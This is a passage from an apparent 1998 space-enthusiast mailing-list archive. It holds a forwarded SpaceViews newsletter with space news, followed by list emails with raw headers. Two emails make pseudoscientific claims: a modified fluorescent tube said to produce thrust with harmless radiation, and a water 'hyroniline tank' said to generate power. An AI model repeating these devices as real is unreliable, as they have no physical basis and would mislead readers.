mission. Two new American missions to Mars are scheduled for launch in the next six months. The Mars Climate Orbiter will launch in December to study Martian meteorology from orbit, while the Mars Polar Lander will lift off in January to land in the unique layered terrain near the Martian south pole. Researchers Find Evidence Against Martian Nanofossils A team of scientists reported Monday, July 6 that they had found new evidence which disproves claims that worm-like features seen in the Martian meteorite ALH 84001 are tiny ""nanofossils"" left behind by ancient Martian life. The research, led by John Bradley of Georgia Tech, Hap McSween of the University of Tennessee, and Ralph Harvey of Case-Western Reserve University, found that the fossil-like features seen in the meteorite were formed by mineralogical processes unrelated to life and at potentially very high temperatures. The scientists found that magnetite crystals seen in the meteorite were formed in the surrounding carbonates by epitaxy, or the ordered growth of one mineral atop another. Such formation requires temperatures of at least 120 degrees Celsius (248 degrees Fahrenheit), which would all but eliminate the possibility that fossilized Martian life exists in the meteorite. The crystals seen appeared free of defects, which the scientists noted is more representative of high-temperature growth than crystals grown at lower temperatures. Their research, to be published in the July issue of the journal Meteoritics and Planetary Science, is the third paper by the team that has addressed the issue of whether the meteorite shows evidence of Martian life, as originally claimed by a team of Johnson Space Center (JSC) and other scientists in August 1996. ""These three papers in combination basically invalidate much of their (JSC's) evidence,"" Bradley, an adjunct professor at Georgia Tech and executive director of the microscopy firm MVA Inc., said. The first paper reported that the magnetite crystals seen inside the claimed fossils were straight whiskers, not ""daisy chains"" as would be expected inside fossils. A second paper claimed the fossils themselves only resemble terrestrial fossils at certain viewing angles; at other angles they resembled inorganic scales or ledges. Bradley was strongly critical of the claims of the original JSC team. ""Early skepticism has evolved into international consensus among meteoriticists and planetary scientists, with the exception of the JSC team, that this rock does not contain Martian nanofossils,"" he said. ""I do not know of a single other individual who believes it at this point."" Still, he does not expect the debate about ALH 84001 to end any time soon. ""Unless the JSC team concedes, the debate will never die,"" he said. Astronomers Discover Nearby Developing Solar System An international team of astronomers reported Wednesday, July 8, that they had found evidence of a solar system forming around the nearby star Epsilon Eridani. The astronomers used the James Clerk Maxwell Telescope on Mauna Kea, Hawaii, to find a ring of dust around the star that looks ""strikingly similar"" to our solar system's own Kuiper Belt of icy bodies, according to one astronomer. ""What we see looks just like the comet belt on the outskirts of our Solar System, only younger,"" said Jane Greaves of the Joint Astronomy Centre in Hawaii. ""It's the first time we've seen anything like this around a star similar to our Sun."" Epsilon Eridani is a K2-class star -- slightly cooler than the Sun and one-third as bright -- located 10.7 light years away. The star is one of the closest Sun-like stars, but is believed to be much younger than the Sun. The images, obtained at submillimeter wavelengths, indicate that the solar system is in the process of forming planets. ""This star system is a strong candidate for planets, but if there are planets, it's unlikely there could be life yet,"" Greaves said. ""When the Earth was this young, it was still being very heavily bombarded by comets and other debris."" Addition evidence for planet formation around the star is the existence of a bright spot in the ring of dust imaged by the astronomers. ""There may be a planet stirring up the dust in the ring and causing the bright spot,"" said Bill Dent of the Royal Observatory, Edinburgh, ""or it could be the remnants of a massive collision between comets."" A region near the star itself that appears partially free of dust is additional evidence for planet formation, astronomers said. Planets would be expected to absorb or otherwise clear out dust in the regions where they form. The existence of a solar system forming around a nearby Sun-like star may mean solar systems are quite common. ""The implication is that if there is one system similar to ours at such a close star, presumably there are many others,"" Benjamin Zuckerman of UCLA said. ""In the search for life elsewhere in the universe, we have never known where to look before. Now, we are closing in on the right candidates in the search for life."" The same astronomers discovered dust disks earlier this year around the more distant and less Sun-like stars Vega and Formalhaut. Another dust disk was seen around the star HR 4796 at around the same time. The Epsilon Eridani discovery was announced at the ""Protostars and Planets"" conference in Santa Barbara, California. The work has been submitted for publication in Astrophysical Journal Letters. Baikonur Problems Delay Soyuz Launch A lack of electricity and running water at the Baikonur Cosmodrome, Russia's primary launch site, will delay next month's Soyuz launch of a Mir replacement crew by at least 10 days, Russian officials reported Wednesday, July 8. A three-person crew, including a former aide to Russian president Boris Yeltsin, was scheduled to lift off August 3 in Soyuz TM-28 to dock with Mir. However, a lack of electricity and water for the last two weeks at Baikonur, Kazakhstan, the Soyuz launch site, has forced officials to move the launch date back to August 13. Electricity and water were cut to Baikonur because of unpaid bills, a problem stemming from a lack of money allocated to Energia, the company that operates Mir for the Russian Space Agency, and part of Russia's larger financial woes. ""People are preparing for the launch in terrible conditions, in temperatures of 37 degrees Celsius [99 degrees Fahrenheit], without light, without water, without money,"" said Energia president Yuri Semyonov told the Itar-Tass news agency. Power has been restored to Baikonur, Itar-Tass reported, but the two-week loss of power impacted launch preparations enough to force a launch delay. The launch cannot be delayed much longer. The Soyuz capsule currently docked to Mir, which brought current crew members Talgat Musabayev and Nikolai Budarin to the station, must return to Earth by late August as its systems are only guaranteed to function for that long. The Soyuz TM-28 will carry a relief crew of commander Gennady Padalka and engineer Sergei Avdeyev. Also flying on the Soyuz will be former presidential aide Nikolai Baturin. Baturin will investigate the status of the station and return with Budarin and Musabayev later in August. Energia threatened last month to shut down Mir as early as August if the Russian government did not pay the money it owed the corporation for operating Mir. On July 2 the Russian government agreed to provide Energia with 600 million rubles (US$100 million) to continue operating the station through mid-1999, at which time the station will be deorbited into the Pacific Ocean. *** Technology *** Japanese Satellites Test Docking Techniques A pair of Japanese satellites completed the first successful test of an unmanned, automated docking early Tuesday, July 7. The two sections of the Engineering Test Satellite VII (ETS-7) separated and moved two meters (6.6 feet) apart before docking together again at 7:30am Japanese time (6:30pm ET and 2230UT July 6). In the test, three grappling claws on the 410 kg (900 lbs.) target satellite, named Orihime, grabbed onto the 2,540 kg (5,590 lbs.) chaser satellite, named Hikoboshi. The test was the first time two unmanned spacecraft and undocked and redocked under remote control. Tests planned for later this year will try docking after the two spacecraft are separated by distances up to several kilometers. The technology is being tested with an eye for use on the International Space Station. Automated docking techniques would make it easier for unmanned cargo spacecraft to dock with the station. ETS-7 was launched last November 27, along with the Tropical Rainfall Measuring Mission, a joint NASA/NASDA (National Space Development Agency) mission. The names of the two ETS-7 spacecraft come from an old Japanese tale, where the princess Orihime and her lover Hikoboshi were allowed to meet only once a year, on July 7th. AXAF Completes Environmental Tests The Advanced X-Ray Astrophysics Facility (AXAF) satellite has completed all of its environmental tests, satellite builder TRW reported Wednesday, July 8, but a problem with one of the satellite's instruments was uncovered during the tests. AXAF spent a month in a thermal vacuum chamber at TRW's El Segundo, California, facility. The satellite was exposed to the vacuum of space and alternating periods of hot and cold temperatures to simulate the environment the satellite will be in after launch. Key subsystems and instruments were tested during the thermal vacuum test to ensure they worked as planned. Engineers also tested sending commands to the spacecraft from the AXAF Operations Control Center (OCC) in Cambridge, Massachusetts. It was during those tests that a mechanical problem was noticed in one of AXAF's instruments, the AXAF CCD Imaging Spectrometer (ACIS). TRW's AXAF program manager, Craig Staresinich, said the cause of the problem and repair plans are being investigated. ""We believe that the repair can be made in parallel with upcoming electrical testing of the observatory with little or no impact to the delivery schedule,"" he said. He added that the discovery of the problem during the tests was a success, not a failure, since AXAF's highly elliptical orbit makes any on-orbit repairs by shuttle crews impossible, unlike the Hubble Space Telescope. ""Discovering a problem now is a success. Discovering a problem later, after launch, would be a failure,"" he said. AXAF, originally planned for an August launch, was pushed back to December after delays in the assembly of the spacecraft were reported late last year. Launch of the spacecraft is now likely to take place no earlier than January, as the first space station assembly shuttle flight is now planned for December. Zenit, Sub-Based Missile Launch Satellites An oft-delayed Zenit booster and a missile launched from a Russian submarine successfully placed satellites from several nations into orbit in early July. A Zenit 2 rocket lifted off at 2:30am EDT (0630 UT) July 10 from Baikonur, Kazakhstan, carrying five satellites, including a Russian Resurs-0 remote sensing satellite and several small satellites from other nations, including Chile, Thailand, and Israel. The launch was originally planned for June 23 but was pushed back more than two weeks because of problems with the guidance system on the booster. The booster was taken off its launch pad for over a week while repairs to the system were completed. A last-minute failure in the system delayed a launch planned for July 8. The launch is the first for the Zenit since a May 1997 launch ended in an explosion shortly after liftoff. The Zenit has experienced other launch failures in the recent past as well. An SS-N-23 ballistic missile launched the Tubsat-N satellites from the Delfin-class submarine Novomoskovsk, submerged in the Barents Sea, at 7:15am Moscow time July 7 (0315 UT, 11:15pm ET July 6). The satellite successfully reached orbit, officials reported. Tubsat-N, built at the Technical University of Berlin, consists of two small satellites, together weighing less than 11.5 kg (25.3 lbs.). The larger Tubsat-N and smaller Tubsat-N1 were launched attached and are designed to separate once in orbit. The satellites contain a number of experiments, including tests of reaction wheel and star sensor performance. They are also designed to store and forward low data rate communications. The Russian Navy, which conducted the satellite launch, said it plans future commercial launches using its nuclear submarines as a way to raise money for the cash-strapped armed service. *** Policy *** Senate Vote Supports Space Station In a final rebuke to a longtime but retiring foe of the International Space Station, the Senate voted down by a 2-to-1 margin July 7 a measure that would have cut funding to the station. By a vote of 66 to 33, the Senate rejected an amendment to a NASA appropriations bill proposed by Sen. Dale Bumpers (D-AR) that would have canceled the station and placed the funding intended for it into veteran's health and low-rent housing projects. Bumpers, a longtime opponent of the space station who is retiring from the Senate at the end of the year, has introduced similar amendments for many years. All have failed in Senate votes. In support of his amendment, Bumpers cited recent studies from the GAO that claimed the total cost to build and operate the station would reach or exceed $100 billion. The annual operating cost of the station alone, he said, ""will be enough to fund 6,000 researchers at NIH [National Institutes of Health] and universities across America for a year."" ""We are going to have six people on the space station doing what the National Research Council estimates to be 24 hours of research each day, at a cost at which we could hire 6,000 researchers on earth,"" he said. Supporters of the station, including Sen. John Glenn (D-OH), took issue with some of Bumpers's statements. ""This $96 billion is a fictitious figure; $40 billion of that, by NASA estimates, includes shuttle costs that are going to go on anyway,"" Glenn said. Glenn, who, like Bumpers, is retiring after this year, said spending on programs like the station is necessary to make progress. ""If we ever tried to solve all problems and to do everything we wanted to do before we made research, we would never have moved off the east coast."" NASA Creates Near-Earth Object Office The Jet Propulsion Laboratory will host a new NASA office dedicated to detecting, tracking, and understanding potentially hazardous near-Earth objects (NEOs), NASA announced Tuesday, July 14. NASA's Near-Earth Object Program Office will focus on the goal of locating at least 90 percent of the estimated 2,000 asteroids and comets that approach the Earth and are larger than 1 kilometer (0.62 miles) in diameter, by the end of the next decade. ""We determined that, in order to achieve our goals, we need a more formal focusing of our near-Earth object tracking efforts and related communications with the supporting research community,"" said Dr. B. Carl Pilcher, science director for solar system exploration at NASA headquarters. ""Finding a majority of this population will require the efforts of researchers at several NASA centers, at universities and at observatories across the country, and will require the participation by the international astronomy community as well,"" said Dr. Donald Yeomans of JPL, an expert on asteroid and comet orbits who will head the new office. The new office will focus on coordinating efforts to detect NEOs as well as facilitating communications between astronomers and the public should a dangerous NEO be discovered. This second role for the NEO office is seen as a reaction to the fiasco surrounding the announcement in March that asteroid 1997 XF11 would pass dangerously close to the Earth in 2028. Later analyses of the data, combined with pre-discovery observations, eliminated any threat of a collision in 2028 within one day of the original announcement. In the months following the 1997 XF11 announcement, NASA has announced plans to more than double funding for NEO tracking projects, to around $3 million in 1999. NASA has also formed policy that requires NASA-funded astronomers -- most of the NEO community worldwide -- to better communicate any discoveries among themselves and NASA before going public. Movie Producers Challenged to Match NEO Grant Two private space organizations announced a $50,000 grant Wednesday, July 1, to support work to locate and track near-Earth objects (NEOs), and challenged the producers of two current Hollywood blockbusters to match the grant. The Space Frontier Founation (SFF) and the Foundation for the International Non-Governmental Development of Space (FINDS) announced the grant as a kickoff for a fundraising campaign to support NEO research and bring together top experts on the issue. The organizations alsom challenged the producers of the movies ""Deep Impact"" and ""Armageddon"" -- two summer blockbusters that depict comets and asteroids on collision courses with the Earth -- to match the grant. ""The film industry has done an excellent job educating people about the very real threat NEOs pose to our civilization, and is making millions of dollars at the same time,"" said SFF president Rick Tumlinson. """"Meanwhile, there is very little money going to support the handful of heroic people doing the actual work of finding and tracking these potential Earth killers."" ""There are astronomers who cannot afford to turn on their telescopes,"" Tumlinson noted. ""Hollywood is making a lot of money playing off of the fear -- now it's time for them to ante up."" The grant will go towards a program called ""The Watch"" whose goal is to raise $1 million a year to support NEO research worldwide. The funds will be disbursed by an advisory council headed by John Lewis of the University of Arizona. The council will meet for the first time at an SFF conference in California in October. FINDS, a $13 million endowment that funds ""breakthrough projects"" in space-related topics, currently supports NEO tracking projects at Canada's University of Victoria and asteroid iron extraction work at the University of Arizona. Deep Impact, a movie released in May by Dreamworks and Paramount, cost $75 million. The movie has grossed over $133 million in the United States alone by late June. Armageddon, about a giant asteroid headed towards Earth, opened in North America July 1. Its budget was estimated at well over $100 million. *** Science *** Io Volcanoes Hottest in Solar System Planetary scientists using data from the Galileo spacecraft have discovered that volcanoes on Io are the hottest planetary surfaces in the solar system, reaching temperatures of thousands of degrees. Researchers from the University of Arizona, Brown University, and other institutions, writing in the July 3 issue of the journal Science, found that at least a dozen volcanic vents on Io, the innermost of Jupiter's four largest moons, reach temperatures of at least 1,200 degrees Celsius (2,200 degrees Fahrenheit). One is as hot as 1,700 degrees C (3,100 degrees F), about three times hotter than the sunlit surface of Mercury. ""The very hot lavas erupting on Io are hotter than anything that has erupted on Earth for billions of years,"" said Alfred McEwen, director of the University of Arizona's Planetary Image Research Lab. ""They are the highest surface temperatures in the solar system other than the sun itself."" McEwen and colleagues combined infrared data from Galileo, which provided temperatures, with visible-light camera images to confirm that the hotspots were associated with volcanic vents. The temperatures and colors imply the lava is rich in heavy elements like magnesium. That finding is leading scientists to questions the composition of Io's surface. Highly volcanic surfaces like Io are thought to be highly differentiated, with low-density materials in the crust and heavier materials below. Such a differentiated body would make it difficult for heavy magma, like that inferred from the Galileo data, to make it to the surface. ""The evidence suggests we're seeing heavy magma erupt to the surface. How do we explain that?"" McEwen asked. ""It's harder for dense material to rise through a low-density crust, although this has occurred on Earth's moon. Perhaps some process mixes the crust back into Io's interior, so the crust has a higher density."" Studies of Io may help understand conditions on the early Earth, McEwen said. ""Early Earth is hard to understand because the evidence has been so degraded by an active environment and plate tectonics. I like to think of Io as a grand experiment in planetary vulcanism and differentiation."" Io is heated by tidal forces. The moon is locked into an orbital resonance with Europa and Ganymede, two other Jovian moons, making its orbit slightly elliptical. The tidal forces caused by Jupiter's gravity heat Io's interior, which in turn powers the moon's volcanoes. Io's volcanoes were discovered by the Voyager 1 and 2 spacecraft as the flew by the Jovian system in 1979. Since then, volcanic eruptions on Io have been monitored by ground-based infrared telescopes, the Hubble Space Telescope, and Galileo. New Type of Near-Earth Asteroids Discovered Astronomers at the University of Hawaii have discovered a new type of near-Earth asteroid whose location makes them difficult to detect. Dr. David Tholen and Robert Whiteley of the University of Hawaii's Institute for Astronomy discovered 1998 DK36 earlier this year and found that its orbit lies entirely within that of the Earth -- that is, it never gets farther from the Sun than the Earth. All previously known asteroids have orbits that take them at least briefly beyond the orbit of the Earth. This type of orbit makes the asteroids difficult to detect, as they are close to the Sun in the sky as seen from the Earth, and thus are only visible in the dawn and dusk skies. ""All other efforts to discover asteroids on a collision course with the Earth are being directed at a region of the sky almost opposite the Sun,"" said Tholen. ""The significance of this discovery is that we would have otherwise never found this new asteroid because it apparently doesn't travel to that region of the sky being scanned by other search efforts."" Such asteroids could strike the Earth from the daytime side without any advance warning possible, Tholen said. 1998 DK36 was discovered in February using a specialized camera system on the University of Hawaii's 2.2-meter (88-inch) telescope atop Mauna Kea. Tholen and Whiteley were performing observations of the dawn and dusk skies using the telescope to search for near-Earth asteroids. The asteroid is estimated to be about 40 meters (132 feet) in diameter. The size is comparable with the size of the stony asteroid that caused the Tunguska explosion in Siberia 90 years ago and the iron asteroid that created Meteor Crater in Arizona 50,000 years ago. 1998 DK36 appears to orbit between the orbits of Earth and Mercury. Tholen said that although they were not able to make enough observations for a complete analysis, their best-fit orbit has 1998 DK36 passing an apparently-safe 1.2 million kilometers (750,000 miles) from the Earth. ""1998 DK36 is nothing to lose sleep over,"" said Tholen. ""It's the ones we haven't found yet that are of concern."" European Astronomers Discover Another Extrasolar Planet A team of European astronomers led by the duo who discovered the first extrasolar planet around a Sun-like star announced Monday, July 6 that they had discovered another planet orbiting another star similar to the Sun. The team, led by Michel Mayor of Switzerland's Geneva Observatory and Didier Queloz of the Geneva Observatory and JPL, discovered the planet around the star 14 Herculis (also known as Gliese 614). The star, with about 80 percent of the mass of the Sun, is located 60 light-years away in the constellation Hercules. The team estimated the mass of the planet to be 3.3 times that of Jupiter, the largest planet in our own solar system. The planet is located 2.5 AU (375 million kilometers, 232.5 million miles) from its parent star and takes 4.4 years to complete one orbit. ""This long-period planet, orbiting a nearby star, is a very promising candidate for direct imaging,"" the discovered said in an announcement from the Geneva Observatory. ""The longer the period, the larger the separation between the planet and the parent star, therefore the easier it becomes to distinguish the feeble glow of the planet near the bright glare of the star."" The observers said the estimated separation between the planet and star is good enough to attempt direct observations of the star using the 3.6-meter (141.7-inch) Canada-France-Hawaii Telescope on Mauna Kea, Hawaii, using the telescope's adaptive optics system. The observers also confirmed the discovery last month of a planet around the star Gliese 876. The planet around the star, just 15 light years from Earth, was announced last month by veteran extrasolar planet discoverer Geoff Marcy of San Francisco State University. Mayor and Queloz discovered the first extrasolar planet around a Sun-like star when they discovered a planet around 51 Pegasi in 1995. *** CyberSpace *** The Space Weather Bureau Solar flares, aurorae, even meteor showers -- all are considered ""space weather"", events outside the Earth's atmosphere that can have effects on satellites, communications, and astronauts in orbit. The Space Weather Bureau provides updated information on the current space weather, such as solar flare activity, and a 24-hour forecast. There's also some background information on space weather phenomena and related news items. http://www.spaceweather.com/ Orbit-on-Web Orbit-on-Web allows people to perform orbital computations within their Web browser. Convert between orbital elements and state vectors, propigate orbits, compute transfers between orbits, and more, at this Web site. You'll need some knowledge of orbital mechanics and a browser that supports JavaScript to take advanatage of this site's features. http://www.geocities.com/SiliconValley/2902/orbit.htm The Moon Race Homepage The Moon Race Homepage features a detailed history of the race between the United States and the Soviet Union to be the first to set a man on the Moon. A detailed timeline explores Space Race history from the 50s into the 70s, and background information gives you the opportunity to learn more about the people and technologies that shaped the efforts of both countries. Pictures and videos add to the multimedia experience of the site. http://members.aol.com/dsmith6439/moonrace/moonrace.htm Wired Collections: Space Exploration While Wired magazine is considered by many to be a magazine of the Internet and new computer technologies, it has published a number of articles on space exploration in the past several years, with an emphasis on new space technologies. This Web site includes links to those articles, ranging from SETI to the Roton and robotic spacecraft. There are also links to Wired News space news articles. http://www.wired.com/collections/space_exploration/ *** Space Capsules *** SpaceViews Event Horizon July 21: Galileo flyby of Europa July 23: Long March 2C/SD launch of replacement Iridium satellites August 13: Soyuz TM-28 launch from Baikonur, Kazakhstan August 13-16: Mars Society Founding Convention, Boulder, Colorado Other News SpaceDev Buys British Firm: SpaceDev announced July 6 that it was acquiring Space Innovations Limited (SIL), a British builder of small satellites and satellite subsystems. Terms of the deal were not announced. SpaceDev is working on the Near Earth Asteroid Prospedctor (NEAP), the first private space exploration spacecraft, and the SIL deal is seen as a way to bring needed knowledge and technology into the company. ""We are especially interested in SIL's deep space X-band transceiver capabilities, one of many SIL subsystems applicable to our Near Earth Asteroid Prospector,"" Jim Benson, president and CEO of SpaceDev, said. SPACEHAB Buys Engineering Firm: SPACEHAB moved to expland its presence in support of human spaceflight July 1 with the acquisition of Houston-based Johnson Engineering Corporation (""JE""), a Johnson Space Center contractor. JE handles a number of key services for NASA, including operations of the Neutral Buoyancy Laboratory, a weightlessness trainer; construction of ISS mockups used in training; and developing hardware for use in the crew quarters of the International Space Station. Key leaders of JE, including former astronaut Eugene Cernan, will stay with SPACEHAB and its JE subsidiary. ""Having spent most of my career in the space program, I am delighted to be part of SPACEHAB, which has been leading the development of commercial systems that are advancing the frontier of human space flight,"" Cernan said. Boeing, TRW Win NRO Contracts: TRW and Boeing announced Friday, July 10, that they won contracts to build and launch, respectively, an experimental National Reconnaissance Office (NRO) satellite to test the feasibility of laser communications. Under a $77.8 million contract, TRW will design, build and operate the Geosynchronous Lightweight Technology Experiment (GeoLITE) satellite. The satellite will be launched in early 2001 on a Boeing Delta II rocket. GeoLITE is an advanced technology demonstration satellite designed to test the effectiveness of laser communications. It will also be outfitted with more conventional ultra-high frequency (UHF) communications equipment. Evidence for Magentars: Astronomers at NASA's Marshall Space Flight Center believe a recent series of low-energy gamma-ray bursts detected last month is caused by a magnetar, a rare type of neutron star with an intense magnetic field whose surface is subjected to powerful quakes. The bursts match the profile of a soft gamma repeater (SGR), a rare class of gamma-ray burst source. This SGR is only the fourth known to exist and the first discovered since the late 1970s. SGRs are thought to be a brief stage in the life of a magnetar, a neutron star with an intense magnetic field up to a million billion (10^15) times as powerful as the Earth's magnetic field. Astronomers think that the powerful magnetic fields of magnetars cause wrinkles in their tightly-bound surfaces. The fields cause wrinkles only a few millimeters high, but enough to cause the surfaces to crack in a ""starquake"" and release tremendous amounts of energy in the form of X-rays and gamma rays. University Gets Solar Satellite Contract: The University of California, Berkeley, has won a $72 million contract to build and operate a satellite designed to study solar flares during the upcoming solar maximum, the university announced June 30. The High Energy Solar Spectroscopic Imager (HESSI) will be the first NASA spacecraft in over 25 years to be designed, built, and operated entirely by a university and its partners. NASA relinquished control of much of the mission to the university as a way reduce the costs of the mission, estimated to be $72 million. ""When we initially put together this mission the estimated cost was 10 times as much, in part because we had to comply with the way NASA did things in large projects,"" said project leader Professor Robert Lin. ""Now that NASA has changed its philosophy, we can be lean and efficient - and more responsible to the public."" The spacecraft, scheduled for launch into Earth orbit in the year 2000, will carry a telescope that will observe solar flares at X-ray and gamma-ray wavelengths. ====================== This has been the July 15, 1998, issue of SpaceViews Update. SpaceViews Update is also availble on the World Wide web from the SpaceViews home page: http://www.spaceviews.com/ or via anonymous FTP from ftp.seds.org: /pub/info/newsletters/spaceviews/update/980715.txt For editorial questions and article submissions for SpaceViews or Spaceviews Update, contact the editor, Jeff Foust, at jeff@spaceviews.com. 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The tube only converts energy from an external power source (magnetic pulses from the lamp's power source, or other nearby AC power systems) to light. Useful if you need light, but it can't generate more power for thrust (you'd do better to just use a magnet against the external magnetic fields for thrust). We had tinkered with the idea of tapping interstellar magnetic fields for power, but the fields seem far too weak to use. Oh, as to using the power of earth's magnetic fields, they (or a star's magnetic fields) don't reach far enough. The Starship would blast past them in less than a second at full speed. It would be like trying to stop a bullet with a Kleenex. Worse, if it did work, the ship would be vaporized. I'll forward your letter to the group though, and thanks for writing! Kelly In a message dated 7/31/98 3:27:59 PM, you wrote: >Hello Kelly. > >I was viewing your site, the one where you are trying to design a starship > >capable of going to another system and slowing down then returning all > >within a respectable time-frame. I also noticed that you were having > >trouble with drive-systems and slow-down methods. Well I have plausible > >answers for both but for now I will give you one of my theories for a > >star-drive. > >Firstly, are you familiar with the concepts of a fluorescent tube. These > >devices are revolutionary in creating light. They are efficent, > >long-lasting and quite hardy. Unlike light bulbs. Now both of these devices > >create light. But only one of these is capable of operating in a > >high-airborne energy environment. Like that near a high-tension power line. > >Second. If a fluorescent light can create light through it's internal > >workings, could it be possible that it could, if modified, create a > >different type of energy under the same situation. It is also known that > >fluorescent lights emit a low-level radiation pulse that can affect smoke > >alarms. As I was saying, I have made a fluorescent light, with severe > >modifications, emit more radiation and a steady stream of magnetic forces. > >It also produces light but not much. > >Finally. I believe that with more refining, this new type of ""generator"" > >could be used to produce forces that may be productive. Imagine a wheel of > >these devices, spinning at super high speeds. All generating magnetic > >forces. I reckon that should be able to push something. For example, when I > >approached my device with a fridge magnet in hand. I could feel pulsating > >(rapid) pushes on the magnet, trying to move it away from the device. The > >closer I got, the harder it was to get the fridge magnet closer. > >By the way, the radiation was harmless. > >I hope you recieved my diagram. It is simple but I have no scanner, so > >using my limited art skills, I drew it as a bitmap. It is viewable in any > >paint program. Under Win95 of course. > >A brief explanation of it. > >The diagram displays the device as it is now. > >There is the shell, the original exterior of the fluro tube. Then inside > >that is the rod of host material which emits energy which reacts with the > >Particle Z floating around between the shell and the host material. Finally > >there is the depicted magnetic waves eminating from the tube. Based on what > >the device does, I call it: > >The THERMOELECTROMAGNETIC INDUCTOR. > >A fancy name yes, but necessary. It helps remind me about how the device > >works at it's most basic principal. Now all that is needed is a way to use > >this generator to push a starship. I believe that as a wild theory, why not > >push the drive against the Earth's magnetic field. If not then how about > >inside a rotating drum orbitting Earth, which projects the magnetic energy > >which is the same polarity as that produced by thermo inductor. When you > >activate the drive, whoosh! The magnetic forces collide and the ship is > >flung into space. The rotating action of the tube acts like the spiralling > >inside the barrel of a rifle. It helps to keep the ship straight. > >And second last but not least a few cosmic rules. > >The ship would have to be made of a non magnetic material and any computer > >systems on board would have to be protected somehow. > >The ship would not have to be very large but if it were then > >hypothetically, the bigger the engine, the bigger the thrust. > >As a possible slow down, simple rocket boosters could be used. > >As a return, if a reverse tube was not installed at the destination planet > >or system, then it could be possible to push against the magnetic field of > >a planet. > >If no planet existed then problems arise but for the first trip, the ship > >or maybe several ships would probably have to carry with them, either in > >tow or in storage, the equipment and raw materials to build a reverse tube > >at the proper destination. > >Also, to correct course, simple rocket thrusters could be installed on the > >exterior hull of the ship. > >As for 1/3 1/2 or even light speed travel, I am not sure. Maybe the drive > >could do it, if not then it would make a damn good solar system based > >traveller. > >And for energy, it would require only electrical power for the drive, as a > >bonus though, because the device is still essentially a fluorescent tube, > >the energy demands aren't all that high. The only solid fuel would be for > >the thrusters. A moderate amount would be required for the deceleration but > >exactly how much I do not know. > >And Last But Not Least. A few words from me to you. > >I am trusting this information to you on the grounds that you limit it's > >transmission to only relevent persons. Please post it to your web-site if > >you want but mask out my name at the end of this document. I have had a few > >""experiences"" with people who want my work very much and I would like to > >avoid alerting those people that my work is nearing a practical stage. > >Please follow my directions and delete this paragraph and my identifying > >details. > >Thank you ever so much and I hope you like my semi-practical theory. > > > >Care of SHADY DEATH > >vfecool@one.net.au > >feel free to E-mail me if you are interested in any further theories. >From VM Mon Aug 3 09:46:25 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""492"" ""Sun"" ""2"" ""August"" ""1998"" ""13:34:57"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""17"" ""starship-design: Re: Your Web Site"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 492 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id KAA12902 for starship-design-outgoing; Sun, 2 Aug 1998 10:35:35 -0700 (PDT) Received: from imo18.mx.aol.com (imo18.mx.aol.com [198.81.17.8]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id KAA12897 for ; Sun, 2 Aug 1998 10:35:33 -0700 (PDT) Received: from KellySt@aol.com by imo18.mx.aol.com (IMOv14_b1.1) id NDCHa29489; Sun, 2 Aug 1998 13:34:57 -0400 (EDT) Message-ID: Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: wcass@iastate.edu, starship-design@lists.uoregon.edu Subject: starship-design: Re: Your Web Site Date: Sun, 2 Aug 1998 13:34:57 EDT In a message dated 8/2/98 3:48:42 AM, you wrote: >I've just finished looking at your web site and to a writer of science >fiction, your site offers extremely inspiring avenues to the imagination. >Basically what I am saying is that I like your site and look forward to >seeing what you come up with next :) > >Sincerely, > >Wallace W. Cass Jr. Thanks a lot! We were hoping to inspire, and I'm glad it worked. Hope it triped off some good (and saleable) ideas for you. ;) Kelly Starks >From VM Wed Aug 5 09:45:02 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1740"" ""Tue"" ""4"" ""August"" ""1998"" ""21:44:18"" ""-0500"" ""Jonathan J Jay"" ""jon_jay1@juno.com"" nil ""29"" ""starship-design: Power - T.E.M.I"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1740 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id TAA17812 for starship-design-outgoing; Tue, 4 Aug 1998 19:47:21 -0700 (PDT) Received: from x13.boston.juno.com (x13.boston.juno.com [205.231.100.27]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id TAA17804 for ; Tue, 4 Aug 1998 19:47:18 -0700 (PDT) Received: (from jon_jay1@juno.com) by x13.boston.juno.com (queuemail) id DKUU86V2; Tue, 04 Aug 1998 22:45:58 EDT Message-ID: <19980804.214419.9718.1.jon_jay1@juno.com> X-Mailer: Juno 1.49 X-Juno-Line-Breaks: 11,16,22-23 Precedence: bulk Reply-To: jon_jay1@juno.com (Jonathan J Jay) From: jon_jay1@juno.com (Jonathan J Jay) Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: Power - T.E.M.I Date: Tue, 4 Aug 1998 21:44:18 -0500 A friend of mine reads my e-mails after me and after reading about the Thermoelectric Inductor(T.E.M.I.), he wished me to inform the group about an experiment of his in which he believes it may be the answer to low output clean energy with zero maintenance. It is a hyroniline tank. A friend of his at the university believes it will work but he will need MAJOR funding to implement a bigger model than the one he has already made. The one he has built is only about 10 centimeters long and produces between 15 and 30 volts depending on it's mood. He hasn't altered it's condition now for over three weeks and it is still going strong. It is hooked up to a transformer and from there to a low wattage light bulb. When he sees the bulb go out, he will know the average life-span of the unit. It works primarily on activating, no... exciting the water molecules in the tank using three different elemental bars. With an added bit of the special ingredient, the tank produces power. He is not sure, however, if the tank will produce more energy on a larger scale but for now it looks promising. Incidently, It cost him over 800 dollars just to buy enough of three different materials for the rods and the rods are only an eighth of an inch wide and barely an inch long! It will cost a fortune to build a larger model. The only thing that worries him is that it seems to slow down when cold so he wanted to ask the group how he could overcome that problem in a star drive. It is minus 200 up there! _____________________________________________________________________ You don't need to buy Internet access to use free Internet e-mail. Get completely free e-mail from Juno at http://www.juno.com Or call Juno at (800) 654-JUNO [654-5866] >From VM Wed Aug 5 10:07:32 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2656"" ""Wed"" ""5"" ""August"" ""1998"" ""09:52:34"" ""-0700"" ""N. Lindberg"" 